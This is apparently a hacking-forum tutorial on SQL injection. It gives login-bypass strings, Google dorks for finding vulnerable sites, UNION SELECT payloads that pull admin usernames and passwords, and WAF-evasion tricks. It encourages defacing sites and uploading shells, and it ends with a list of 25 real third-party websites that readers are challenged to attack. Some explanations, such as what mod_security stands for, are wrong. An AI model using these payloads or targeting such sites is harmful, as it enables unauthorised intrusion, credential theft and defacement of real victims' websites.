Basic + Advance SQL Injection for Newbies

Hey guys this is my first tutorial ever and today I will share some of my knowledge with you about SQL Injection in very plain language so everyone can understand what it is and then he/she can learn how to exploit it! And at the end of this tutorial i will post some of SQL Vulnerable Sites so you can practice what you have learned!
I recommend that while hacking a website you open a notepad and write down (basically copy and paste) every information that you get from the server!

So let’s get started!

So first question most people ask is - What is SQL Injection?
SQL injection is a code injection technique in which a hacker can enter malicious SQL statements into an entry field for execution to gain access to any type of SQL database which has a security vulnerability in its application software which does not filter for the data given by the user and executes it and thus a hacker can extract out Usernames and Passwords stored in the database. SQL Injection is mostly used to attack websites in order to gain access to the stored Admin Username and Admin Password so that the attacker can gain Admin Access to the website and then deface the website or do any other such tasks.
If anyone wants to know in more detailed form then go here => http://en.wikipedia.org/wiki/SQL_injection

Second question some people ask – Sometimes Website Prevent SQL Injection by something called as Mod_Security. What is it? Then what about Waf? Are they same?
The thing is that Mod_Security and Waf are both the same things! Mod_Security stands for (which a friend of mine told me) Ministry of Defence Security (very old version of it) while Waf stands for Web Application Firewall. And what they do is that they filter out the SQL Injection Statements and thus it becomes a bit hard to do basic SQL Injection and hence stops the SQL Injection and various other types of Hacks by not allowing Malicious Statements to pass through so they can run!
But don’t worry further in my Tutorial I will explain how to bypass that also!

So without any further ado let’s start hacking!

So for first of all we will start with the most basic SQL Vulnerability know as SQL Injection String!
SQL Injection String
These are the SQL Injection Strings, using them are very simple and very easy! You just need to find the login page of the website and then put these 1 of these code in both username and password and you will gain access directly to the admin panel or if you fail you can try other Strings! Finding SQL Vulnerable website I have explained later so check it from there on how to obtain SQL Vulnerable website! Remember this trick does not work on all websites so it takes a lot of time in checking!
You place 1 code into both the username / admin and password field of the login page, Like :
Username:' or 1=1--
Password:' or 1=1--
The fun thing about these is that when you enter these into the username and password field of the website login page is that the database gets fooled and gets tricked! What it does basically is that it tells the database to search for this value and tells it either “ ‘ “ is true “ or “ to try for the value “ 1=1 ” which as we all know 1 will always be equal to 1 and “ -- “ is just a comment line! What is does is that this tells the database that if the username and password that is the given is a false value then try the value of 1=1 which we all know is always true! So the database takes this information to be true instead of it being false! So it takes the topmost registered admin or user and logs you in his id! Usually as the 1st Id is of the admin so you will login as the admin!
For more list of such Injection String go to => http://pastebin.com/dg5J1SNr
And if you want some vulnerable sites of SQL Injection by String then PM me and I will send!

Now let’s start more of a serious SQL Hacking!

Finding Vulnerable Sites
Finding a vulnerable website is a bit difficult but searching for a vulnerable website is a lot easy then it sounds, the most common methods hackers use is Google Dorks. Dorks is a input query of the Google Search Engine in which a person can find a particular type of website and that particular type of website in our case will be the SQL Vulnerable type of websites! So how to use Google Dorks? It’s very easy!
We will use the “ inurl “ ( In URL ) function of Google Dorks! With inurl we tell Google to display only the URL’s which have the criteria matched by ours! So we usually exploit the “ id “ parameter of most webpages but remember not only “ id “ parameter is vulnerable there are many others also like “ cat “ or “ catid ” or “ max “ , etc.
To start searching for Vulnerabilities go on Google.com and type in “ inurl:index.php?id= “ and hit Enter!
Some other examples :
Inurl:index.php?id=
Inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=
You can get more from :
http://pastebin.com/RfcWksbg

This gives all the URL’s ending with “ index.php?id= “ and some of them might be vulnerable!
To find which website is exactly vulnerable, open the URL given by Google Dorks and after the value or string of the parameter ( id, cat , catid, max ,etc) put a “ ‘ “
And if the webpage displays a error such as the following or any other type of SQL Statement error than that website is Vulnerable! Or the website might be missing text, images, spaces or scripts from the original page! (Even if you get the Error it might depend if that website can easily be hacked or if it will take advance bypass or more)
We will be taking the URL and consider it to be vulnerable :
www.vulnerablewebsite.com/index.php?id=15
So if you want to check if its vulnerable then we put a “ ‘ “ at the end of it like this :
www.vulnerablewebsite.com/index.php?id=15’
and we hit Enter!
If you get a error then it means that website is SQL Vulnerable or if you get no error of SQL then try searching for vulnerabilities on other websites!
Some example of errors :
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():

To find the number of Columns in the database
So by now I suppose you must have got the vulnerable site?
Now let’s start out our actual hacking part! Let’s first get the number of tables and from that we can later get which tables are infected via which we can inject our malicious codes and run it and extract data from the SQL Database!
Let’s take in something easy! In this part of hacking we replace the “ ‘ “ we put earlier after the value of the parameter and put “ Order By N “ where N = any number !
Now let me tell you what it does! ” Order by N “ orders Columns by N Numbers and if we call a Column with a N Number which is not there then it gives a error!
Let me tell you guys both the basic way and the trick in this thing!
So the idea behind this is that to get the number of Columns that exist in the database and for that we Order a column and see if it exists, if it exists we take in the next column and if it does not we go back a column!
For example :
URL :								Error :
www.vulnerablewebsite.com/index.php?id=15 Order by 1	No error Possible (As there will always be at least minimum 1 column)
www.vulnerablewebsite.com/index.php?id=15 Order by 2	No error
www.vulnerablewebsite.com/index.php?id=15 Order by 3	No error
www.vulnerablewebsite.com/index.php?id=15 Order by 4	No error
www.vulnerablewebsite.com/index.php?id=15 Order by 5	No error
www.vulnerablewebsite.com/index.php?id=15 Order by 6	No error
www.vulnerablewebsite.com/index.php?id=15 Order by 7	No error
www.vulnerablewebsite.com/index.php?id=15 Order by 8	Error
It gives a error when we order the 8th column which means that there is no 8th column in the database! It means there are only 7 columns!
You might get a error of : Unknown column '8' in 'order clause'
8 error in this case usually it can be any!
Now let me tell you the trick!
The example above had very short number of columns but suppose there are a lot like suppose 18 then what? Well normally you will have to order all the columns from 1 to 18 one by one! But if we apply a short trick we can easily get the number of columns!
What we will do is that we use the idea that if a column is not present it will give a error, so we will Order 20th column (I usually do 20 columns as usually websites have lower than this) and if we get a error of : Unknown column ‘20’ in ‘order clause’ Then it means that there are less columns than 20 in the database! So we usually half this number and order again, in this case we will order 10. So when we order column 10 the result gets displayed! It means there are more than 10 columns but less than 20 columns. So we take middle of this and hit enter. So for order 15 we get no error which means there are more than 15 columns but less than 20. Now we try for 17 columns which again gives no error, so it means either there are 17,18,19 columns in the database! Now we go one by one so we try for 18 columns still no error, then we try for 19 columns and it gives a error, which means that there are 18 columns!
For example :
URL :									Error :
www.vulnerablewebsite2.com/index.php?id=18 Order by 20		Error
www.vulnerablewebsite2.com/index.php?id=18 Order by 10		No error
www.vulnerablewebsite2.com/index.php?id=18Order by 15		No error
www.vulnerablewebsite2.com/index.php?id=18 Order by 17		No error
www.vulnerablewebsite2.com/index.php?id=18 Order by 18		No error
www.vulnerablewebsite2.com/index.php?id=18Order by 19		Error!

Now let me tell you the ultimate easiest method! Using “ Group By “ to find the number of columns in 1 go!
What happens in this is that we Group all the columns and the database itself tells us which Column is not there! It’s the easiest method and gets the work done in 1 go!
But the bad thing about this is that we have to write a lot of numbers! Like suppose there are mostly less columns than 20 in a database but that’s only usually it can also be way more! But if we take the case of 20 database then we will have to write all the numbers from 1-20 all at one go! Some people use Hackbar addon of Firefox to do this easy! But I would say you can use any thing or you can also type it by youself! I use HackBar Addon of Firefox to type a long list of numbers for me! I also use hackbar for my SQL Injection because it makes it very easy such as converting to hex or to unhex in 1 go , etc. But I will not explain that here! We suppose there are 11 columns.
For example :
www.vulnerablewebsite3.com/index.php?id=20 Group by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
It will always give a error and in this case we will get the error : Unknown column '11' in 'group statement'
And this tells us that there is no 11th column and it means that there are 10 columns!

But if you get no error by using any of the above methods you can try adding “--“ or “-- -“ or “--+” or “--+-“ or any such combination and then try again using the above methods!
For example :
www.vulnerablewebsite.com/index.php?id=15 Order by 20--
www.vulnerablewebsite.com/index.php?id=15 Order by 20--+
www.vulnerablewebsite.com/index.php?id=15 Order by 20-- -
www.vulnerablewebsite.com/index.php?id=15 Order by 20--+-
www.vulnerablewebsite.com/index.php?id=15 Order by 20-+-
Awesome right? :P

Finding which columns are vulnerable
Now we know there are 7 columns in our database we want to find out which column in the database is such that we can make it run our malicious code. For that we use “ Union Select “ or “ Union All Select “ which both behave as the same function so we will go for “ Union Select “.
So we will add “ Union Select 1,2,3,4,5,6,7 “
For example :
www.vulnerablewebsite.com/index.php?id=15 Union select 1,2,3,4,5,6,7
In some sites some content of the webpage disappears and some numbers among 1-7 might be displayed and it means that those columns are vulnerable! But if you don’t get any number don’t worry because most websites want a null string “ - “ in front of the value of the vulnerable parameter and add a comment “--“at the end the URL like this :
www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,3,4,5,6,7--
and this mostly gives the result that we want but sometimes we get a error of Mod_Security in which we need to bypass the filters of it which I will tell you guys in the next tutorial if you guys want!
So this most of time gets the work done! Now let’s suppose we get the numbers 3 and 6 displayed on the website which means that those columns are vulnerable and we can inject our malicious code into the database and extract the data!
Finding the version used of the database
In this tutorial as I am only explaining how to inject in SQL Database in version 5 or more and not in 4 or less than 5! So it’s very important to get the version of the database!
To get the version of the database we inject either : @@version  OR version()
We just replace the Vulnerable Column number with one of the above!
For example :
www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,@@version,4,5,6,7--
www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,version(),4,5,6,7--
If we get a version 5 or above then that’s awesome! Because in this thread I will teach you guys about version 5 or above only!
But if you do not get a version by this method and your page loads up normally (happens at rare occasions) then we can do one of the two things :
1st.  You can convert - @@version or version() to latin1 or utf8 by using the following code :
convert(@@version using latin1) or convert(version() using latin1)
convert(@@version using utf8) or convert(version() using utf8)
2nd. You can hex - @@version or version() by using the following command :
Unhex(hex(@@version)) or Unhex(hex(version()))
If anyone of you is wondering what is Hex then in the most basic way hex or hexdecimal is basic human friendly binary coded value! As luckly Hex is accepted by SQL we can use it to bypass any errors!

Getting Database Name and the Current User
This however personally I don’t feel has any use but as I am telling everything (almost) I thought to add this too! Getting the names of the database on the website and to get the current user is very easy!
Just do the same thing as you did in getting the version of the database but instead use : database() or user() respectively! And save this information in the Notepad (as I told you guys at the very beginning).

Obtaining Table and Column Names from the Database
Now the fun starts! (Unless things don’t work out for you as well as it is planned! :P )
We will extract the name of the Tables and columns stored in the database! There are a couple of ways of doing this I will tell you 2 of them : Group_Concat() and Concat_WS()
Using Group_Concat
We will put : Group_Concat(Table_name) or Group_Concat(Column_name) instead of the vulnerable column number and at the end we will remove the “ -- “ will put : from information_schema.tables where table_schema=database()--
Or
from information_schema.columns where table_ schema =database()--
For example :
www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,group_concat(table_name),4,5,6,7 from information_Schema.tables where table_ schema=database()--
www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,group_concat(column_name),4,5,6,7 from information_Schema.columns where table_ schema=database()--

Now let me break it down and explain =>
Group_Concat(Table_Name) or Group_Concat(Column_Name) => Tells the database to group the table or column names stored in the database.
From => Tells it to get this result “ From “ here.
Information_Schema.Tables or Information_Schema.Columns => Tells the Database to get this information (Name of Tables in this case).
Where => A query for selection.
Table_ schema => Tells it to get the table name and “ = “ From here.
Database() => As we saw earlier this gives the name of the database so the database gets the information from the given name of the database but as Database() gives the current Database so it will get the names of the tables from the current database.
“ -- “ => It is a comment, Just leave it as it is :P

And thus the database will give us that names of the tables and the names of the columns respectively!
And for a hint * Mostly which ever of the hacker writes the code for first either for table name or for colum name and then just edit the URL to get the other! So just edit out the Table or Column in the “ Group_Concat “ and the “ Information_Schema. “ and add the other!
And don’t forget to save the information that you get the notepad!
Using Concat_WS
Using Concat_WS is very easy and is almost the exact same with Group_Concat!
All you need to do is do everything which you do in Group_Concat but instead of Group_Concat put Concat_WS and also in the “ () “ put : “ Char(32,58,32), “ extra!
And if anyone of you is asking what is Char(32,58,32) it’s a good question! It stands for “ : “ (Space:Space) which separates the data!
For example :
www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,concat_ws(Char(32,58,32),Table_Name),4,5,6,7 from information_schema.tables where table_ schema=database()--
and
www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,concat_ws(Char(32,58,32),Column_Name),4,5,6,7 from information_schema.columns where table_ schema=database()--
And save the information received in notepad! But if you got a error by Mod_Security it means that it needs Waf bypassing with I cannot fully explain in this tutorial but I will partially explain it!

Let’s suppose the information we got (It’s not necessary that you will get the same information) :
Tables =>  admin , comments , gal_images , images_comments , messages , news , profile_pic , videocomments , videos , visitors
Columns => AdminID, ParentAdminID, Username, Pwd, Gallery, Category, ImageURL, ThumbURL, Title, Alt, Description, NewsType, NewsDate, NewsDetails, NewsFrom, NewsFor, Name, Organisation, EmailID, Password, Address, City, Mobile, LastVisit, LastCommentPost, ActivationKey, Status
And from this information we can see that we want the “ Admin “ Table and “ Username,Pwd,Password “ Columns!

Extract Data from Database
This is a very easy step after we get the table and column name! We can use any of the : Group_Concat(), Concat_WS() and Concat() and as told above in Concat_WS() you have to write Char(32,58,32) like : Concat_WS(Char(32,58,32)) but and Concat() has nothing extra to write in it and is same as Group_Concat!
But in this to extract data we put (supposing we want the username, password column data) : Group_Concat(username,0x3a,password) or Concat_WS(Char(32,58,32),username,password) or Concat(username,0x3a,password)
And at the end removing all the “from information_schema.columns where table_schema=database()-- “
We put : from (Name of the Table)--
Such as : from admin-- or from users--
For example :
www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,Group_Concat(Username,0x3a,Password) from admin---
www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,Concat_WS(Char(32,58,32),Username,Password) from admin---
www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,Concat(Username,0x3a,Password) from admin---
I suppose now you understand why we use Char(32,58,32) in Concat_WS because it separates each data given with “ : “ (Space:Space)
But if you are asking what is the “ 0x3a “ for well it is also for separating and it separates by “:” (:)
Important Thing –
By now you must know SQL accepts Hex language! But in SQL even though it accepts Hex encryption but before any Hex Code you have to enter “0x” because only after this SQL Accepts Hex!

And there you have it! You got the username and password of all the accounts on the Database! Now all you have to do is find the login page of the website! You can either get it from Google or by Searching the website! Or you can also get it from any admin or login page finder program or anything like that!
And then just simply put in the credentials that you got from the database! And that’s it you got into the admin page! Now you can do whatever you want with the website including uploading shell and messing up the website and deface the website or anything you want! And if you need any good shell than PM me or if you want a very good deface page then also PM me!

Mod_Security Bypass
Remember I cannot fully make you understand in this tutorial as it by now itself has become quite large! But if you guys do want a tutorial on this PM me or Post in this thread!
So what is Mod_Security?
Well some websites to prevent hackers like us put up security in their website so they can stop hackers to use different types of hacks like SQL Injection, XSS, etc! And gives us a Mod_Security error when we try to inject any malicious code into the website!
But as we all know we hackers cannot ever be stopped!  So we can bypass this Mod_Security which is also known as Waf bypassing (Web Application Firewall Bypassing)!
So basically what this Mod_Security does is that it filters out some specific keywords from being injected!
If anyone of you is thinking that I wrote specific that means it must be bypassable by using any other keyword or any other type of keyword than you are right! We just trick the Mod_Security and bypass its Filters and successfully execute the malicious code!

This Mod_Security causes problem in a lot of things in SQL Injection usually!
Such is that of the “ Order By n “ to get the number of columns in the website and later to get the vulnerable column! So this can be easily be bypassed by using the different “ -- “ or “--+” or all the different such types of comments I told you guys to add at the end in the beginning when I told you guys how to get the number of columns!
This was easy but what if other important stuffs are blocked of? Such as “ Union Select “ and “ from information_schema.tables where table_ schema =database()-- “
The most common way is to make it look as a comment to the Mod_Security and as Mod_Security passes comments without any filter we can easily execute out malicious code! But of course if the Waf has more advance filters this will be difficult! But anyways the trick is adding : “/*! */” or “/*!50000 */”
You can use them as : “+/*!50000Union*/+/*!50000Select*/+” and as : “+from+/*!information_schema.columns+WHERE+TaBlE_SchEmA=database()*/--“
For example :
www.vulnerablewebsite.com/index.php?id=-15+/*!50000Union*/+/*!50000Select*/+1,2,3,4,5,6,7-- -
www.vulnerablewebsite.com/index.php?id=-15+/*!50000Union*/+/*!50000Select*/+1,2,version(),4,5,6,7-- -
www.vulnerablewebsite.com/index.php?id=-15+/*!50000Union*/+/*!50000Select*/+1,2, CONCAT_WS(CHAR(32,58,32),table_name),4,5,6,7+FrOM+/*!information_schema.tables+WHERE+TaBlE_SchEmA=database()*/-- -
www.vulnerablewebsite.com/index.php?id=-15+/*!50000Union*/+/*!50000Select*/+1,2, CONCAT_WS(CHAR(32,58,32),column_name),4,5,6,7+FrOM+/*!information_schema.columns+WHERE+TaBlE_SchEmA=database()*/-- -
www.vulnerablewebsite.com/index.php?id=-15+/*!50000Union*/+/*!50000Select*/+1,2, CONCAT_WS(CHAR(32,58,32),Username,Password),4,5,6,7+FrOM+admin-- -
If you are thinking why did I make the “Concat_Ws” Capital or play with the capitalization of “from information_schema.tables where table_schema=database()-- -“ then that’s a very good question you guys should know the answer to! This is because this is another way to bypass the Mod_Security as Mod_Security filters specific words and if we change the capitalization it sometimes bypasses that filters!

Another example would be of Replacing keyword technique, and as Waf filters out Union and Select we will replace the keywords so we would just play with it.
Such as: +UnIoN+SeLselectECT+
When the Waf filters those keywords, the “UNI and ON” and “SEL and ECT” join back to form one word again.
 And thus we successfully bypass the Mod_Security another time!
In this tutorial I can only explain this much about Mod_Security!
So guys thanks for reading all the way through (If you did :P ) because I know this tutorial became a bit too long! But I did this so that each and every one of you can understand it in the most basic language!
Now for some challenges! These challenges were not found by me! Instead they were found by other members of HackForums.net or from any other website! Finding of these vulnerability and giving us the challenge is all thanks to them!
But you challenge is just to Find out the Version of Database in the Following and to try to write you name next to the version of the database! Don’t worry if you can’t PM me I will help!
1. http://www.go[HF]contempo.com/pages.php?id=2
2. http://sveka[HF]tt.se/index.php [Also you have to find the vulnerable URL on your own in this one and then find out the Version of the Database!]
3. http://ditto[HF]3d.com/gallery.php?id=7
4. http://www.fuente[HF]pilates.com/visorrep.php?nID=127
5. http://sd2.[HF]itd.cnr.it/prot/espusoP.php?ZID=5&Page=12
6. http://trab[HF]ely.com/en/product.php?id=1
7. http://www.purple[HF]snow.net/UI/download.php?id=3
8. http://www.pt-[HF]plib.com/page_main.php?id_stdpg=194
9. http://www.prespec-[HF]consulting.com/theme/theme.php?id_theme=7
10. http://www.running[HF]myraces.com/event.php?id=2
11. http://wmsy[HF]acres.com/viewproduct.php?id=10
12. http://www.andy[HF]timmons.com/video.php?id=0004
13. http://www.rigik[HF]ulm.ch/index.php?id=6
14. http://www.blind-[HF]guardian.com/discography.php3?cat=1&album_id=24
15. http://www.digi[HF]mind.com.vn/?page=category&DMID=65
16. http://www.ilumin[HF]acionestriac.com/ver-producto.php?id=12
17. http://www.travel[HF]worldonline.in/Tourism-article.php?id=11
18. http://nbnewsx[HF]press.com/news.php?id=28
19. http://www.audio[HF]trends.com.au/Favourite.html?action=viewProduct&itemId=1192
20. http://www.clan[HF]william.info/index.php?id=1
21. http://standish[HF]capitalmortgage.com/pages.php?page_id=3
22. http://www.sk[HF]bcases.com/music/news/news-detail.php?id=24
23. http://www.qhd[HF]senbao.com/cp_look.php?id=42
24. http://utahnsforpublic[HF]schools.org/media/releases/release.php?start=0&rel=1 [Forbidden error = Waf Bypass!]
25. http://www.cn[HF]book.cn/topic.php?id=1
Just remember to remove [HF] from the URL’s!
Also if you can’t inject on any of the above websites then PM me and I will help you!

If anyone wants I can also create a tutorial on “How to Complete Challenges of SQL Injection given on HF” like how to complete the challenge and how to add your name or add a picture or how to make all the tables display one by one ,etc!
Bookmark this Thread so you can visit it anytime you need and please share this link and keep posting to keep the Thread alive!

Also I have not Edited this so am sorry for any Grammar Mistake :P